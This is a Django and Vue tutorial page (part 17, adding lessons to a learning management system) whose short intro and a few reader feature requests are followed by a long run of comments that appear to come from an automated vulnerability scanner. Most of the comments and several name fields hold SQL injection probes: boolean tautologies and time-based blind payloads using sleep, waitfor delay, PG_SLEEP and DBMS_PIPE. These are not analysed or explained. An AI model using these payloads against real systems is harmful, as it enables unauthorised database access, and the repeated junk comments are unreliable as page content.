Part 17 - Adding lessons - Learning Management System - Django and Vue

Let's make it possible to add lessons to the courses.

In the seventeenth part of this Django and Vue tutorial series, we are going to continue working on letting authors create courses with lessons.

Comments

Eric Harvey | Apr 27, 23 06:49

I would love to know more about what you were thinking for next steps. This has been a great series and thank you!
I'm wondering if you would consider looking at doing the following:
- Add a confirmation for when a learner changes the lesson to "done". What if they click by accident?
- Add more to the Lessons form, like the ability to craft quizzes or video types.
- The draft -> submit for review -> published workflow... were you intended for that to all happen on the admin side?
- Roles - Better define roles like "learner", "author", and "teacher" and define what their initial role permissions are.

Thanks again for all of this!


Stein Ove Helset | May 20, 23 06:33

Hey,
thanks for the feedback. I haven't seen any of the comments (e-mail hasn't been working or something). I will look into this and see what I can do :-D

Eric Harvey | Apr 27, 23 06:53

Oh. In addition to my last comment -- adding a Wysiwyg Editor / RCE like TinyMCE -- or another option. Supposedly there's a good Vue.js integration!

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

-1 OR 2+940-940-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:46

-1 OR 2+439-439-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:46

-1' OR 2+514-514-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:46

-1' OR 2+18-18-1=0+0+0+1 or 'nLIGOaos'='

EFSArCBy | Jul 02, 26 11:46

-1" OR 2+540-540-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:46

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:46

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:46

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:46

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:46

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:46

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:46

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:46

555tQtFCMlw'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:46

555-1 OR 680=(SELECT 680 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:46

555-1) OR 789=(SELECT 789 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:46

555-1)) OR 17=(SELECT 17 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:46

5553VzEfuNA' OR 803=(SELECT 803 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:46

555OtW7dlpl') OR 70=(SELECT 70 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:46

555FXhAXNbw')) OR 566=(SELECT 566 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:46

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:46

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555'"

EFSArCBy | Jul 02, 26 11:46

@@zOqke

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:46

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

-1 OR 2+527-527-1=0+0+0+1 -- | Jul 02, 26 11:47

555

-1 OR 2+773-773-1=0+0+0+1 | Jul 02, 26 11:47

555

-1' OR 2+524-524-1=0+0+0+1 -- | Jul 02, 26 11:47

555

-1' OR 2+656-656-1=0+0+0+1 or 'lTwbObTL'=' | Jul 02, 26 11:47

555

-1" OR 2+856-856-1=0+0+0+1 -- | Jul 02, 26 11:47

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:47

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:47

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:47

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:47

555

EFSArCBya1Y7ftzF'; waitfor delay '0:0:15' -- | Jul 02, 26 11:47

555

EFSArCByyJKgT9Jj' OR 290=(SELECT 290 FROM PG_SLEEP(15))-- | Jul 02, 26 11:47

555

EFSArCByuVObNjVq') OR 965=(SELECT 965 FROM PG_SLEEP(15))-- | Jul 02, 26 11:47

555

EFSArCBya7JvTb4V')) OR 701=(SELECT 701 FROM PG_SLEEP(15))-- | Jul 02, 26 11:47

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy'" | Jul 02, 26 11:47

555

@@jAF8h | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 02, 26 11:47

555

EFSArCBy | Jul 21, 26 12:37

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

-1 OR 2+572-572-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:42

-1 OR 2+450-450-1=0+0+0+1

EFSArCBy | Jul 21, 26 12:42

-1' OR 2+324-324-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:42

-1' OR 2+671-671-1=0+0+0+1 or 'CJDWf7AL'='

EFSArCBy | Jul 21, 26 12:42

-1" OR 2+784-784-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:42

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 21, 26 12:42

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 21, 26 12:42

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 21, 26 12:42

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 21, 26 12:42

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:42

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:42

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:42

555Hngv0bb4'; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:42

555-1 OR 122=(SELECT 122 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:42

555-1) OR 863=(SELECT 863 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:42

555-1)) OR 956=(SELECT 956 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:42

555o5gaaOkr' OR 220=(SELECT 220 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:42

555WonpJPoL') OR 211=(SELECT 211 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:42

555Uczb95HI')) OR 860=(SELECT 860 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:42

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 21, 26 12:42

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555'"

EFSArCBy | Jul 21, 26 12:42

@@iSfkc

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

-1 OR 2+872-872-1=0+0+0+1 -- | Jul 21, 26 12:42

555

-1 OR 2+605-605-1=0+0+0+1 | Jul 21, 26 12:42

555

-1' OR 2+208-208-1=0+0+0+1 -- | Jul 21, 26 12:42

555

-1' OR 2+971-971-1=0+0+0+1 or 'U7FMuOL9'=' | Jul 21, 26 12:42

555

-1" OR 2+928-928-1=0+0+0+1 -- | Jul 21, 26 12:42

555

if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:42

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:42

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:42

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:42

555

EFSArCByWNCKGCOX'; waitfor delay '0:0:15' -- | Jul 21, 26 12:42

555

EFSArCByjp0xSVsh' OR 885=(SELECT 885 FROM PG_SLEEP(15))-- | Jul 21, 26 12:42

555

EFSArCByFoEjwcOv') OR 244=(SELECT 244 FROM PG_SLEEP(15))-- | Jul 21, 26 12:42

555

EFSArCBybI3WLGqB')) OR 183=(SELECT 183 FROM PG_SLEEP(15))-- | Jul 21, 26 12:42

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy'" | Jul 21, 26 12:42

555

@@I5hLx | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

EFSArCBy | Jul 21, 26 12:42

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.